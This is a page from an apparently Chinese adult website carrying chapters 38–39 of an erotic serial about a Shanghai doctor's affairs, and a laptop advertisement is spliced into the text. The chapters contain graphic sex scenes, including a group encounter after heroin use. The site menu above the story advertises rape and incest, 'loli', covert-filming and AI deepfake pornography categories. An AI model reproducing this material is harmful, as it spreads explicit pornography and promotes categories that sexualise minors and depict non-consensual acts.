精品导航
91网曝
帝王会所
顶级A片
黑料福利
星空入口
必备福利
全球福利
国产情色
老牌导航
狼友福利
黑色360
吃瓜黑料
麻豆福利
姊妹双飞
调教学姐
不良研究所
小嫂嫂
视频一区
AV解说
中文字幕
国产传媒
日本有码
日本无码
欧美极品
素人搭讪
强奸乱伦
视频二区
国产情色
网红黑料
主播直播
三级伦理
AI换脸
抖阴短视频
同性恋
人妖系列
视频三区
动漫精品
制服诱惑
变态调教
国产主播
巨乳美乳
熟女人妻
自拍偷拍
海外明星
视频四区
精选日本
探花视频
网红直播
按摩技师
性感熟女
网爆黑料
白虎萝莉
女优明星
激情图片
卡通漫画
高跟丝袜
角色扮演
欧美激情
亚洲性爱
福利姬
性感身体
唯美写真
情色小说
都市激情
不论恋情
校园情事
玄幻仙侠
另类小说
风俗伦理
长篇连载
校园情事


站长推荐




热门搜索



站长推荐


[都市]我的年轻岁月(全)-23

  

38


“哎……哎,没啥关系,不要紧的。”孙东促狭地朝我挤挤眼,嘴里的话说给女人听。

这时,又来了一个在小别墅里见过的任勇,吊儿郎当地,嘴角叼着烟,身后跟着几个女的,个个卷发短裙,花枝招展,吱吱喳喳地闹得不行,他耸了耸肩,说来帮孙东的忙,路上碰到了她们,以前相识的。

三个男人快手快脚地干活,终于赶在中午之前布置完了场地,孙东锁好门,领着一干人等在“避风塘”吃了午饭,各自散去。

回家洗了澡,换下汗湿的衬衣,我躺在床上呆呆地发愣。

不多久,季彤来了,身穿灰色西装西裤,衬衣的白领翻在外面,穿着一双浅口黑皮鞋,头发盘在脑后,走起路来英姿飒爽。我笑说她的衣着像个妇联主任,她听了直乐,高颧骨下面笑出了深深的褶子。

她和同事在上海市区转悠了一整天,刚拜访完四处的“土地公公”。季彤洗了把脸,坐下喘了口气,就拽着我坐上她开来的车。

轻轻一踩油门,黑色的桑塔纳2000窜上了内环线高架,看着她娴熟地踩离合器轰油门换档,我感慨道:头一回坐女人开的车。

季彤的嘴角一撇:“哼!德性,看不起女人?”说着,车速猛地提高了,车身震得“哗哗”乱响,窗外一片呜呜风鸣,我吓得冷汗直冒,连忙陈言利害,好在她也深明大义,才没有搞出人命。

她领着我绕着上海市转了一大圈,直到夜幕降临才收了车,她请我在“镇鼎鸡”吃了晚饭才回家。

洗完澡,我坐在计算机前上网,答复两、三个问病的帖子,季彤换上新买的套头睡衣,坐在一旁削苹果,她切下一块塞进我嘴里,嘎呐苹果又脆又香。

“唔,不错,挺甜的。”我一边嚼着,一边飞快地在键盘上敲击。

“哎,小军,我问你个事儿,你找没找对象?”季彤啃着手里的苹果问。

“对象?”我心不在焉地反问,一面打字。

“就是结婚对象,我说的不是章娜。”

“那倒是有一个,父母介绍的。”我贴完一篇回复,顺便存进软盘。

“啥时候结婚?”

“结婚?还早着哪。”我关了机,收拾摊开的书本资料。

“你和她办过那事儿?”季彤吃完苹果,直勾勾地看着我,表情似笑非笑。

“嗯?什么事儿?”我一愣,随即明白过来,摇摇头,“没有,她一指头我都没碰过。”

“哼,我不信,你就那么老实?”季彤嘴角向下撇着,神情却明显放松了下来,她抿着嘴唇,端起盛果皮的小筐走了出去。

望着她的背影,黑亮亮的长发挽成一个疙瘩盘在头上,窈窕的腰臀在肥大的睡衣里若隐若现,下面露出两条白晳圆滑的小腿,举手投足间不经意地流露出少妇的风骚,让人怦然心动。

我坐在沙发望着书桌上的笔筒发呆,“世”字里的血迹发出阴森森的寒光,我打了个哆嗦,连忙站起来走过去,拿起一张《新民晚报》盖住笔筒。

季彤在厨房里倒完了果皮回来,往床沿上一坐,抬手招呼我过去:“哎,九点多了,还不睡?”

熄了灯,两人脱了衣裤,一先一后光着屁股上床。

黑暗中,季彤热情万分,她的四肢像章鱼一样地缠绕住我,不断挺起腹部,猴急地催促着:“快!快来呀!”

我小心翼翼地趴到她胸脯上,屁股轻轻一落,阳具没至尽根。

季彤满意地哼哼着,眯起眼看着我在她身上耸动,她的两腿紧绞住我的腰,嘴里不停地“哎唷”,下身随着我的动作一次次向上抬高。

像往常一样,她的第一次来得很快,她一下子搂实了我,大腿狠命地夹拢,“嗷!”地一声,身体在床上剧烈地翻腾。

我待她完全平息才从里面抽出,她两腿大张,无力地撇开两侧,胸脯起伏不止。

我拧亮床头柜的灯,到厨房倒了杯温水,扶起季彤喂给她喝。

“射了没?”她喝了几口,身子躺在我怀里,睁开无神的眼睛看我。

“没有,干得不过瘾。”我毫不顾忌地说出大实话。

“呵呵呵,”她疲倦地笑了笑,“瞧你狂的,将来谁家姑娘给你做媳妇可受罪了,嘿嘿嘿……”季彤掩口窃笑。

见她恢复了精神,我把她放在床上,向前一扑,上身压在她的胸口,下身一沉,又捅了进去。

季彤轻声哼了一哼:“这回能射精不?”

“你还怕受不了?”我嘿嘿一笑,“上回让我操出‘黄子’来了,忘啦?”

“你这家伙真坏,”季彤拧我一把,脸上笑得有点不自在,“章娜让操你就操,也不问问我?”

“得了吧,那阵儿你美得都流出来了,还用问?”我嬉皮笑脸地,开始缓慢地摆动身体。

“你还说,还说!”季彤笑着在我身上乱掐,“掐死你!看你还敢不敢胡说?”

我嘻嘻哈哈地抵挡一番,终于捉到她的两只手腕,一左一右按在枕头上。然后,我像蛤蟆一样趴着,撅着屁股上下掀动,季彤的腿盘绕住我的腰,小腿搭在后面,随着起落,两脚跟不停地敲打我的尾椎。

干了不到二百下,她娇喘声声,双眼紧闭,脸别过一边,两片嘴唇像捏起的饺子边,狠狠地抿住,鼻孔张开,“呼呼!”地直喷热气。

我低头向下朝两人中间看去,立时热血沸腾。

季彤的下阴仰口朝天,敞开的门户内杵进一根通体黑红的肉棒,正在一刻不停地自上而下猛捣,一股股白色细腻的泡沫被捣腾了出来,在阴道口越积越多,逐步向四周泛滥,渐渐淹没了大腿根之间的整片“峡谷”。

季彤忽地拱起腰,肚子挺了出来,“啊!”地喊了一嗓子,接着身子一落,肚皮又瘪了进去,腹部肌肉一阵乱颤,阴道猛缩成一团。

我的肛门不由自主地紧了一紧,类似强忍大便的射精紧迫感悄然掩至,阴茎被她“咬”得死死的,欲拔不能,我趴在季彤身上,两手抄进她后背勾牢肩膀,丢开一切花样技巧,快马扬鞭,放开手脚猛操。

正在快乐得忘形的季彤猛然瞪大了双眼,高潮中的女阴敏感异常,肉棒的持续抽插引发了接二连三的小高潮,像大海的波涛一浪紧接一浪,阴道不停收缩,娇嫩的肉壁变得血红,连绵不绝的白沫渐渐变得稀薄。

季彤的身体绷紧得像一张弓,头向后仰去,两眼翻白,两条粉腿在半空乱踢乱蹬,这是她即将抵达转折点的前兆。我索性跪直上身,两手抄住她的屁股平端起来一通急戳,她的长发拖在床单上,双手死命地揪住身子下面的毛巾毯,手指关节的皮肤由于缺血变成了白色,全身打摆子似地乱抖。

只听“啊呀!”一声,季彤两脚蹬了蹬,双腿挺得笔直,阴道里面“呼!”

地冲出一股液体,热热的,淋到我小肚子上,紧接着,她身子一哆嗦又喷出一大滩,然后张开嘴巴“噗!……”地吐了一口长气,身体软绵绵地瘫倒下去。

我挺了最后一下,抽了出来,右手握住阳具撸了撸,龟头向前一伸,精液射在了她白花花的肚皮上。

……

心满意足的季彤流露出女人的温柔情怀,她的脸摩挲着我的面颊,两只滚烫的手在我后背上又搓又揉,接着,捧住我的头狠劲地吮吸我的嘴唇,她的舌尖在我嘴里搅拌了一阵,把我的舌头吸过去含在嘴里,用牙齿轻轻地咬了咬,尔后,连连咂吸。

女人的无限柔情是最烈性的壮阳药,连木乃伊都能起死回生。

疲软的阳具在季彤的阴道里急剧膨胀,一股热气从小肚子冲下去停在阴茎根部,本已半软半硬的阴茎似乎又粗了一圈。

我暗叫不好,唯恐就此一泄无遗,慌忙停止抽送,又舍不得退出来,只得勉强静止在季彤深处,竭力控制住自己的冲动,缓缓放松会阴部缩成一团的肌肉。

“累吗?”季彤脸上桃红未退,春意分外诱人,她伸出舌头舔着我的耳廓,哑了嗓子喘着粗气说:“别干了,我真受不了了,咱俩先睡一会儿吧?”

我摸了摸她湿漉漉的后背,自己也感到心有余而力不足,只得怏怏地说:“也好,你开一下午车,该好好歇歇。”说完,扶季彤躺好,扭熄床头柜上面的小灯,拉过被子盖住两人,搂着她睡了。

秋夜,漫长而漆黑,由于窗户紧闭,房间里有些憋闷,我半夜醒来便难以入睡。暖烘烘的被窝里,季彤匍匐在我怀中,双臂缩在胸前,温热的身子随着均匀的呼吸微微起伏,我轻抚她玉石般光滑、柔软的后背,心中无限感慨:这样的天生尤物被弃若敝帚,那人可谓身在福中不知福。

“嗯,几点了?”季彤被我摸醒了,她嘟囔着,一条腿横压到我身上。

“不到三点,睡吧,还早呢。”我吻了吻她的秀发,洗发水的馨香沁人心脾。

“唔……,”她揉揉眼皮,打个哈欠,“啊喔──,你还没睡呀?”

“我睡半觉就会醒,医院值班熬出来的坏毛病。”我跟着也打了个哈欠,睡意却无,大脑异常清醒。

“你要是晚上睡不着咋办?”季彤灵巧地爬到我身上,脸对脸地端详我,伸出椒舌舔弄我的鼻尖。

“小时候父母教我数绵羊,一只绵羊…两只绵羊……这样数下去挺有效,后来就不管用了,只能瞪眼到天亮。”我的手顺着她背部滑下去,从后面摸进大腿缝。

季彤顺从地分开两腿,她体内的液体一下流出来,热乎乎地淌在我肚子上。

她向后撅高屁股套住我,然后一点点下沉,越套越深:“干吧,天就快亮了。”

说着,她身子往下一趴,脸颊在我胸口上,不停地亲吻我赤裸的胸膛。

我搂紧了季彤的后腰,开始向上挺送。

“嘿嘿嘿……”季彤边笑边喘,“你……你说干就干哪,哎……轻点儿,哎哟……”

她闭着眼满脸绯红,娇喘阵阵,两只手使劲掐住我的肩膀,雪白的屁股一撅一沉,迎合着我的进退。

不一会儿,季彤挺直了上身,脊梁僵硬地朝后弯曲,一连打了几个冷战,然后用力地叹了一口气,胳膊松弛地荡下来,我赶紧抱住她,让她扑倒在我身上喘息。

季彤累得散了架,顾不得自己体液肆流,趴在我身上径自沉沉睡去。我在她身体深处依旧硬如铁杵,欲射不得,只好咬着牙,翻身把她压到身下,草草地干完了事。

一觉睡醒已是第二天上午,季彤慌慌张张地穿好衣服,赶回公司宿舍去了,临行前说这几天还要出去拜访客户,让我等她的电话。

我无聊地躺了一会儿,手机忽然响了,是庄晓春打来的,要我领她出去转转。

我开着助动车来到她楼下,没精打采地叩响了她的房门。

“等一会儿!别进来!”她的叫声隔着门板传来,又尖又细,仿佛里面失火了。

等了几分钟,庄晓春打开房门站到我面前,手里提着个大大的花皮包,一身牛仔衣裙,脚穿运动鞋。

“嘿嘿……里面还有其它人住,所以不请你进去坐了,”她歉意地笑了笑,把大皮包往身后一背,“走吧,你说去哪儿?”

“去新开张的博物馆好不好?听说有个古钱币展览值得一看。”

“行!”她爽快地答应了,和我快步下楼。

在地铁车厢里,庄晓春忽然问我昨天晚上在聊天室里为什么不向她打招呼?

我愣了一下,没想到她注意到了我的网名,只好告诉她我上网完全为了工作,聊天室只是偶尔一瞥而已。她审视了我半晌,没出声,望着车窗外隧道黑乎乎的墙壁发呆。

“我觉得……”她自言自语,“在上海交个朋友真难,人人都防着别人,就怕吃亏,”她抬起眼征询地看着我,“我说得对不对?”

我闻言无语,默然地点点头:“别说你刚来上海,有些人在上海住一辈子都没有几个真心知己,我老爸就是。”

她幽幽地笑了:“那你呢?有几个知己?”

“几个?”我想了想,摇摇头,“恐怕一个也没有。”

“一个也没有?”她惊讶地睁大双眼。

“曾经有过的,”我叹了口气,低下头看着地面,“而且是能和我生死与共的,可惜……”

她不再多问,和我一起拉住扶手站着,两人随着车厢的晃动摇摇摆摆。

……

在上海博物馆转了一上午出来,站在街头,中午的太阳晃得两人睁不开眼。

庄晓春坚持要把博物馆的门票钱还我,两个人在人民广场边推推拉拉好一阵子,惹得旁边的行人侧目而视,最后我还是收下了。

沿着南京路走了几步,看见“张小泉”刀剪店,我心里一动,拉着庄晓春走了进去。

以前徐晶时常抱怨家里的菜刀不好使,“切菜太钝,切手指太快”,打算结婚的时候好好地买一套,她说要“张小泉”的,我说“王大福”的好,最终依据“党指挥枪”的原则,我俩一致赞同“领导的指示一句顶一万句”。可是直到徐晶离去,菜刀也没有买。

“哇!这么多!”庄晓春望着四周陈列的各种厨刀惊叹不已,“大大小小的都有用吗?”

“有,有用,你看这一把,”我比比划划,“又窄又长的适合割牛肉,那把宽一些的切猪肉,”我继续胡乱指点着,“喏,这是切精肉的,这是切肥肉的,这一对刀嘛,左边那把切鸡的左翅,右边的切右翅。”休息一下 广告时间:【电保包】Asus/华硕 N43EI241SN-SL笔记本/I5/GT550/500G/特价中!

“对对,”庄晓春也来了兴致,对着一排尖刀如数家珍,“这些是水果刀,削苹果皮的,削生梨皮的,削西瓜皮的,削香蕉皮的,削葡萄皮的……”

她从左到右一路数下去,逗得趴在柜台上的两个店员笑不可仰,我赶紧拦住了她的嘴,生怕她说出什么“鸡蛋皮、鸭蛋皮”之类的。

“先生小姐,要买菜刀是伐?”其中一个年长的店员走了过来,笑呵呵地打招呼,“我们是百年老店咧,质量绝对放心,啊,看中了什么样子的?”

我取过一把厚重的方头菜刀在手里掂着,庄晓春也要了一把不锈钢的颠来倒去地看。

“哎………对啦,碳钢的切生肉,不锈钢的切熟食,生熟分开,这样比较卫生。”营业员在一旁敲边鼓。

“嗯?”庄晓春听出味道有点不对,“不是不是,”她急急地摆手,“我跟他不是一齐用的。”

“啊?不是一起的啊?”营业员一怔,随即大窘,“哎哟,对不起,对不起,我搞错了……嘿嘿嘿……”他不好意思地搔着后脑勺。

当我俩走出店外,庄晓春终于“噗嗤!”一声笑了出来,“你们上海的营业员真可爱!哈哈哈!那么大年纪还会脸红!哈哈……哈!”她一路大笑着朝前走去,我拎着塑料袋跟在后面,望着她穿着牛仔衣裙的背影,光着白白的两截小腿,依稀眼熟,仿佛徐晶长发飘扬地走在秋日的街头。

“走啊,愣着干啥?”庄晓春笑着回头招呼,我紧跑几步赶上去,和她并排走着。

“看我买刀你也买?”我问。

“是啊,原来我和一个朋友合租,她搬了连菜刀也拿走了,害得我只好用剪刀瞎凑合,前两天我又找着一个新伙伴,两人轮流做饭缺一把菜刀,正好今天赶上你也买,我就想起来了,呵呵……”她说得很快,蹦蹦跳跳地跟上我的步伐,“哎,这‘张小泉’到底行不行啊?名牌?”

“名牌。”我边走边点头。

“老牌子?”

“嗯,老极了,跟你们的‘王麻子’差不多吧。”

“你听说过王麻子?你怎么会知道的?”她惊讶地问。

“以前他住我们家街坊。”我信口雌黄。

“嘿!你可真能吹!人家早死五万年了,和你住街坊?哼哼!”

在城隍庙外面吃小笼馒头的时候,庄晓春还在数落我吹牛,我哭笑不得地制止她:“别说啦,你这么念叨王麻子,不怕他老人家今晚上去敲你的门?”

她一缩脖子,鼓起眼睛瞪着我:“迷信!亏你还是受过高等教育的医生!怕鬼?我就不怕!”说完,骨碌着眼睛,狐疑地看看四周的空气。

“你当然不怕啦,鬼见了你这么艳光四射的美女,早就酥了半边身子,还有力气害你?”

“真的呀?”她装模作样地又惊又喜,“怪不得你走路总是一瘸一拐的。”

我鼓起腮帮子,想了半天,没说话。

夜幕低垂的宛平路上,橘黄色的路灯透过茂密的梧桐树叶撒落下来,秋风吹过,片片焦黄的落叶漫天飞舞,马路上积着一层厚重的枯枝败叶,就像铺了褐色的地毯。我和庄晓春在人行道上慢慢地踱着步,干枯的树叶被两人踏得“吱吱”

作响。

“好了,我到了。”忽然,她小声地说。

“是吗?”我抬头看看,已经来到她住的楼下,“这条路好象变短了,以前我上中学的时候天天经过,那时只恨路太长,老也走不完。”

“呵呵呵……”她笑了,“你真会说话,”她停了一下,“今天…谢谢你,领我走了那么多地方,我都没去过。”

“以后有空再陪你出去转转,其实好些地方我也第一次去,认认路也好。”

“你这两天放假吗?要不明后天?”

“好,明天晚上给你电话。”

告别了庄晓春,我骑着车来到父母楼下。

家里的气氛有些压抑,老爸老妈坐在客厅的沙发上,相对无言,乳白色的落地灯躲在角落里孤苦伶仃地亮着,房间里静悄悄的,只有墙上的石英钟在“嚓!

嚓!”地走动。

“军军,过来坐,爸爸有话要跟你说。”父亲面带沉痛之色,声音暗哑。

“啥事?”我坐到他对面,不安地望望侧边的妈妈。

“岚岚可能不回来了。”爸爸说了一句便住了口。

“不回来了?为啥?”我很意外。

“岚岚的爸爸被双规了,她么也就……”

“双规?”我有点啼笑皆非,为什么总是这样?每当我确定了方向准备迈步向前,意想不到的变量就来了。

“双规,就是在规定地点就规定问题……”爸爸还想解释清楚。

“我知道,”我不想听废话,急着问下去,“那么以后岚岚都不会来上海啦?”

“那当然啦!家里出了这种事情,她回来干什么?”老妈尖细的嗓音响起,她伸出一根手指点着我,“军军哦,你不可以去找岚岚啊!引火烧身懂不懂?这个时候,各人顾各人哪!”

“各人顾各人。”

回家的路上,老妈的这句话一直在耳边萦绕,我骑着车,两手机械地扶住车把,发动机“噗噗”作响,宋岚噘着嘴埋怨的神情在我眼前反复晃动,像一卷没有尽头的电影胶片循环放映。

我不喜欢回顾过去,除非往事值得留恋。

宋岚在我家出现的最初三年里毫不起眼,在我眼中,她不过是众多叔叔阿姨家来的“小亲戚”,到后来老妈把她正式引介进入家门,我才意识到她的存在隐含着“鹊巢鸠占”的危机,但我并不嫌恶她,因为那是我父母导演的闹剧。

渐渐地,宋岚走进了我的生活,融入了我家,她的纯朴、爽朗和智慧更使我“恨”不起来,在我心目中,她是个被宠坏了的小妹妹,直到徐晶莫名其妙地离去。然而,那并不是她的错。

正当我决定彻底妥协的关头,命运却和我开了一个玩笑,它告诉我妥协毫无意义。

骑着骑着,我想起来孙东让我今天晚上去拿他的画,东西虽然烂,总归是花钱买的,挂在墙上也算附庸风雅,犯不着打肿脸充胖子。

我在孙东租来的小屋门口停好车,看见窗户拉着布帘,透出昏暗的灯光,这小子正在数钱吧?我敲了敲门,没有人响应,又敲了一次,屋门“吱呀”一声开了,孙东身上裹着床单,摇摇晃晃地站在门口。

“喔……,是…是你呀,”他说得含含糊糊,嘴里喷出一阵酒气,“进……

来吧。”

我进屋脱了鞋,随他走进里间,门帘一撩,热烘烘的空气混合着浓重的酸味扑面而来。






39

我眯起眼,借着昏黄的灯光辨认了一下,只见小小的房间一角仍旧放着那张矮炕桌,桌上摆满了啤酒和叉烧、白斩鸡一类的熟食,屋中间的在草垫子上,几个似曾相识的男女或卧或坐,挤成一堆。

一个衣衫不整的女人仰面躺在地上,身上压着一个光膀子的男人弓着腰一曲一拱地动弹,像只炒锅里的活虾。

女人的上衣解开了纽扣,露出贴身的红色胸罩,细花裙子撩到腰上,两条腿举得高高的,像白胖的手臂一样环抱住男人,透明丝袜松松垮垮地套在小腿上,两脚跷着脚尖勾在一起,随着男人的身体起落,嘴里“哎哟!哎哟!”一个劲地叫唤。

那个男的是任勇,他底下的就是跟着一起去展览馆的女人,旁边两个年约二十五、六的女子倚坐在一起,身上罗衣半解,露出光光的大腿,正在低声说笑,一面朝着任勇他们指指点点,见我进来,她俩不约而同地停止说话,用火辣辣的眼神上下打量我。

我盘腿靠着炕桌坐下,端起啤酒呷了一口,忽然发现炕桌的一角摊开一张巴掌大的锡纸,还有两、三根烧焦的火柴梗。

我吃惊地望着孙东:“阿东,你吃白粉?”

“不是我,”孙东甩掉了身上披着的床单,胳膊肘懒洋洋地支在炕桌上,探出身子看着前面草席上干得热火朝天的男女,用下巴朝前轻轻一点:“任勇和她们一道吃的,又喝了点儿酒,发骚发到现在。”说着,他招呼那两个女人:“小红、阿芳,坐过来呀!这是黄军,昨天在展览馆见过的,老熟人啦……”

接着,他又给我介绍了这两位靓女,长发披肩的叫阿芳,身材丰满,硕乳垂胸,烟视媚行的姿态中逸出一丝风骚,另一位小红剪了齐耳短发,圆圆的脸蛋红扑扑的,面若桃花,神情有些拘谨,可是眉宇之间的妖娆之气无法掩饰。

孙东醉醺醺地把小红拉进怀里,低头在她胸前颈下乱啃,小红缩作一团“嘻嘻!”直笑,笑容里带着一点邪味,孙东亲了一会儿,扒开小红的裤衩,手伸进她的两腿中间摸索起来。

小红笑得更疯了,身体在草垫上滚来滚去,“咯咯咯!”地放声大笑,左手一伸握住孙东胯下的鸡巴,把他拉到自己身上。

阿芳粉面含春地看着孙东和小红在地上翻滚,手托住腮帮支在桌上,眼尾不时瞟一瞟我,嘴角带着一抹微笑,我凑过去拖她,她笑嘻嘻地挣了一下拽拽我的衣袖,示意我脱去外衣,我脱了衣裤,两个人光着身子搂在一处,她的舌头伸进我嘴里,像一条湿热的泥鳅又软又滑,那一对肥大的乳房贴住我胸口,硬梆梆热乎乎的,烫得我欲念骤起,抱住她就往草垫子上按。

“等一会儿……”她轻轻喘息着,“先把下面洗洗……”她的脸红红的,两腿夹紧。

“好,我们一道洗?”

阿芳微笑着点点头,起身和我一同走进浴室。

淋蓬头下,我抱着阿芳温热的身子,她拿着肥皂轮流的涂抹我俩,她的手很软,手指纤长,留着亮晶晶的长指甲,我注意到她的右手无名指戴着戒指,心里一动:“你来这里不怕家里人知道?”

阿芳察觉了我的视线,嘿嘿一笑:“他出国去了,哪里会晓得?”她冷笑着看了看我,“哼哼,怕了,是吧?胆小鬼!”

“怕?”我的手指逗弄着她的两朵“岭上红梅”,看着她们越来越凸出,“我是想不到你结了婚还出来和孙东玩?”

“我也是第一次来这里,任勇带我来的,他是我邻居。”阿芳打开水龙头冲洗两人身上的肥皂泡,脸上带着淡淡的笑。

“哦,你老早就认识任勇?”我语带双关地问。

“唔~~老早了……”她抬起大眼睛盯了我一眼,听出了我的意思,“后来就……”她笑得有些诡秘。

“那两个也是你邻居?”我指指浴室门外,一阵阵男人和女人激烈的叫喊声传了进来,夹杂着“呼哧呼哧”的喘息。

“你说小红和朱冰?她们和我是中学同学,常在一起玩。”阿芳关了水,和我跨出了浴池,一边用毛巾擦干净身上的水珠,一边出神地听着外面的动静,很快,她的面色变得绯红。

她把毛巾丢进浴缸,头靠在我的肩上,身子紧挨着我,一条胳膊从后面揽住我的腰,另一只手轻柔地抚摸我的胸膛,手指微微打颤,她抬起脸迎向我,眼睛水汪汪的,像蒙上一层雾,鼻孔大大地张开,粗重地呼吸着。

我扶着她光滑的脊背,一手捧起她的脸庞,张开嘴含住她的红唇,舌尖轻轻舔着她的上腭,暴涨的阴茎探进她微岔的两腿之间缓缓游移,阿芳低吟一声:“嗯……”双腿一弯,身子向后软倒,我一把搂紧她娇弱无力的身体,看看狭小的浴室别无他物,我只好坐在马桶盖上,双膝并拢,扶着阿芳分开两腿跨坐在我腿上。

“哦……进去了。”她长长地呼了口气,搂住我的脖子,挺起前胸的双乳用力地在我身上摩擦两颗奶头。

我右手扶住她的腰板,左手握起她的乳房揉搓,嘴唇贴在阿芳弯曲的脖颈上亲吻,耳听得她的气息越来越粗浊。

“来,快点呀。”她趴在我耳边低声哀求,吐气如兰。

阿芳柔媚的央告撩旺了我的欲火,我伸出双臂抱紧她的腰背,挺起胯骨向上顶送。

“啊!啊!啊……!”阿芳恣情纵意地叫喊起来,身体热烈地响应着,手臂勾住我的脖子,胸腹一收一缩,骨盆快速地前后摇摆,火热的阴道开始抽紧,喉咙里的欢声越叫越粗哑。

“喔唷,你们在这里干起来啦……”忽然,浴室门口传来女人的话音,我抬头一看,那个朱冰一手扶着门框,不着寸缕的身子倚在墙上对着我们嘻嘻地笑。

我一面在阿芳下面耸动,一面笑着问朱冰:“外面怎么样啦?玩够了到里面来玩吧,我们刚开始呢。”

朱冰只是嘿嘿地笑,并不说话,站在阿芳背后,眼睛注意着阿芳屁股下面的阴影处。

“哦!哦!朱冰……朱冰!”阿芳一面使劲地摇晃下半身,一面连喘带说,“他很会弄的……”

“咯咯咯!”朱冰笑出声来,弯下腰仔细观察阿芳的下体被洞穿的情景,“舒服得流汤流水的,告诉我干什么?”说着,她笑盈盈地站起身,抬腿跨进浴池蹲了下来。

我一边挺身猛操阿芳,一边留意她的面部表情。忽然,阿芳停止了叫声,面孔憋得通红,牙齿咬得“咯咯”作响,用力绷紧了全身,挺胸屏息迎接临近的高潮。

说时迟那时快,阿芳身体猛地一震,失魂落魄地“啊!”了一声,接着腰肢往上一拱,腹肌一阵剧烈地抖动,我刚才只顾和朱冰说话,龟头的快感消退了很多,只觉得被阿芳夹得紧紧地,并未急于射精。

朱冰撒完尿,站在浴池里往身上淋水清洗,看见阿芳挺直上身不住哆嗦,我仍在不停地抽送,她捂住嘴窃笑,小声说:“你蛮厉害,身体挺壮的。”

“哎,想不想来一次?”我偏过头对她说,同时放慢了动作,阿芳仍沉浸在高潮的余韵中,不时发出一、两次轻微的颤抖。

“呵呵……”她但笑不语,丢了个眼色,朝我怀中的阿芳努了努嘴。

我会意地站起身,把阿芳轻轻地抱进房内,放在地上,她紧闭双眼,嘴里大口小口地喘气,顾不上说话。

这时,孙东和任勇已经四仰八叉地躺在草席上昏昏酣睡,那个小红独自裹着被子睡在一侧,房间里竟然多了一个女人,是那个与孙东合伙参展的雕刻家,身上只穿著白色的衬衣和三角裤衩,正趴在小桌上自斟自饮。

我回到浴室里,伸手去拉朱冰,她推了我一把:“去,洗洗干净,邋里邋遢的,都是别人的东西。”我醒悟过来,笑了笑,在浴池里冲洗干净下身,搂着她步出浴室。

今天偶遇的三个女人里面,阿芳最有女人味道,浑身上下肥而不腻,圆润又不累赘,除了胸前有些下坠,小腹和臀部依然收得紧绷绷的,相比之下,小红则显得有些单薄,但胜在青春可人,朱冰的体型最棒,胸挺腰细,两腿修长笔直,走动的时候,葫芦形的腰胯左右的摇摆,圆圆的屁股蛋儿跟着一扭一扭,煞是诱人。

朱冰似乎很得意于拥有骄人的身材,她背对我站在那里,用力地挺起前胸,臀部夸张地向后撅高,纤细的腰肢弯出一道优美的弧线。我情不自禁地从后面摸了一把她的屁股,她笑着躲闪开去,可是被我拽住胳膊又拖了回来。

她笑着回转身,双臂勾住我的后颈,踮起脚尖身子贴了上来,我抱紧她滚烫的身体,把她轻轻地放倒在垫子上,她喘息着张开两腿,引导我进入她濡湿的深处。

朱冰高声地吟哦,身体像垂死的鳗鱼在砧板上扭动,双腿如一道铁索紧紧地锁住我的腰身,在兴奋剂的催促下,她益发热情高涨,鲜红的阴唇飞快地充血肿胀,像一朵盛开的情欲之花自两腿间怒放而出,紫红色的花瓣向两旁翻卷,洞开的阴道如一孔清澈的泉眼汩汩流淌。

十平米的小屋内闷热得像蒸笼,狭小的空间弥漫着酒菜和精液的腥气,夹杂着女人下体的酸味。我感到燥热异常,粗声大气地呼吸着,张开鼻孔直喷热气,全身每一个毛孔都在滴水,仿佛淹没在淫欲的泥潭里挣扎,阴茎在朱冰的身体内暴胀,把她的阴道大大地撑开,我鼓足勇力,像红了眼的公牛不知疲倦地猛进。

朱冰声嘶力竭地狂呼乱叫:“啊!啊!……啊!”两只手发疯似地撕扯着自己的头发,身体随着我的冲撞在地垫上一窜一窜,张开的大腿肌肉急促地战栗起来。

我正趴在朱冰身上将她送上第一个高潮,忽然,一个热乎乎的肉体贴上我的后背,不用看也知道,是那个女“艺术家”。

她气喘吁吁地咬着我的耳垂,舌尖舔着我后脖颈又湿又凉,“快点……快点……”她低声催促着,神情焦躁万分,她的手穿过我腋下伸到胸前,狠劲揉捏我胸腹的肌肉,“快一点呀,快出来……”她像个久旷的荡妇发出饥渴的哀求,两手渐渐下滑,探进我小腹下方。

我猛地一震,阴囊和阴茎被她用力抓在手里,她右手的食指和拇指圈成一个环形,紧密地箍实了鸡巴的根部,龟头立时胀大了几分,满腹的泄意顿时稍稍退却。

朱冰已在痉挛中缩成一团,下身吐出一滩白花花的泡沫,身子一抽一抽,兀自颤抖。

我退了出来,身后的女人立刻扑了上来,她急切地握住我的器官,顾不得上面沾满了朱冰的体液,身子往后一仰躺到地上,把我拉到她身上,“来……来呀……”她急不可待地把我牵引到入口处,两腿屈曲,双脚踩在地上,屁股腾空而起。

我身子往下一降,喷薄欲出的生殖器滑进了女人体内,她从胸膛深处挤出一声低沉的呻吟,“呃……”,声音悠长显出无限满足,好象沙漠旅人得到甘霖的滋润。

趴在女人的胸口,望着她眼角细微的鱼尾纹,我开始缓缓抽送。

青春易逝,情欲却像田野中的稗草,随着岁月的灌溉终于茂盛得近于奢靡,道学家称之为放纵,美学家以为是美,经济学家概括为厉行节约,医学家认为是传播途径,革命家批判为腐朽堕落,我,实践家,这是得过且过。

女人伸出舌尖被我含进嘴里细意咂吸,她满意地哼哼着,我的每一次冲击她都重重地“嗯!”一声。女人的欲焰愈发炽烈起来,她不断抬高下身,双脚踏住席子,展开自己最隐秘之处迎合我。

我抽动得越来越疾,龟头霎时间膨胀开,尿孔一睁,眼看着阴茎下部的精管变得又粗又硬。

女人发现了我的激动,她憋红了脸,从咬紧的牙关里蹦出几个字:“等一会儿!等一会儿!”

我毫无顾忌地冲锋陷阵,鸡巴猛地一胀,第一股火热的精液已经射了出去,女人疯狂地大喊起来,双手抠住我的屁股,剧烈地上下晃动骨盆。我在她体内恣意地排放着热情,精液像炽热的岩浆从地心冒出,源源不断地注入她的深处。

我静息了下来,趴在女人胸脯上喘息,她的全身冒出一片细密的汗珠,额头上汗水淋漓,眼睛和脸颊的妆粉溶开了,秀美的脸庞上染得片片黑红。

她睁开眼睛,意犹未尽地望着我:“来呀,再来呀。”

龟头很敏感,我咬着牙,强自挺起了半软的阴茎艰难地运动,她的腔道内分泌非常旺盛,滑行的感觉万分舒畅,顿时,欲焰复炽,我的胯下刹那间恢复了活力。

女人抱住我一滚,身体翻到我上面,她撇开两腿跨骑在我身上,双手撑地支住上半身,屁股一撅一落地主动套弄下来。

我仰面平卧,两手抓住她悬垂的乳房,手指捏住发硬的奶头使劲地揪扯,“啊!……咿!咿!咿!”她尖叫起来,身体往下一扑,下阴越套越快。

